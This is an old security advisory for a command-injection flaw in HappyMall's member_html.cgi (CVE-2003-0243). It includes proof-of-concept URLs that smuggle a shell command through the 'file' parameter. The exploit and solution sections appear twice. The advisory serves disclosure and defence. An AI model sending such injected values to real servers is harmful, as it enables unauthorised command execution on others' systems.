HappyMall E-Commerce Software Member_HTML.CGI Command Execution Vulnerability
BID:7530
Info
HappyMall E-Commerce Software Member_HTML.CGI Command Execution Vulnerability
| Bugtraq ID: | 7530 |
| Class: | Input Validation Error |
| CVE: |
CVE-2003-0243 |
| Remote: | Yes |
| Local: | No |
| Published: | May 08 2003 12:00AM |
| Updated: | Jul 11 2009 09:07PM |
| Credit: | Discovery credited to Revin Aldi. |
| Vulnerable: |
HappyCGI HappyMall 4.4 HappyCGI HappyMall 4.3 |
| Not Vulnerable: | |
Exploit / POC
HappyMall E-Commerce Software Member_HTML.CGI Command Execution Vulnerability
http://www.example.com/shop/member_html.cgi?file=|id|
http://www.example.com/shop/member_html.cgi? file=;id|
The following exploit was provided:
http://www.example.com/shop/member_html.cgi?file=|id|
http://www.example.com/shop/member_html.cgi? file=;id|
The following exploit was provided:
Solution / Fix
HappyMall E-Commerce Software Member_HTML.CGI Command Execution Vulnerability
Solution:
It has been reported that a patch exists at URL http://happymall.happycgi.com/forum/forum_detail.cgi?thread=353. This information is not vendor-confirmed, and it has not been possible to independently confirm this information.
-------------
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
It has been reported that a patch exists at URL http://happymall.happycgi.com/forum/forum_detail.cgi?thread=353. This information is not vendor-confirmed, and it has not been possible to independently confirm this information.
-------------
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.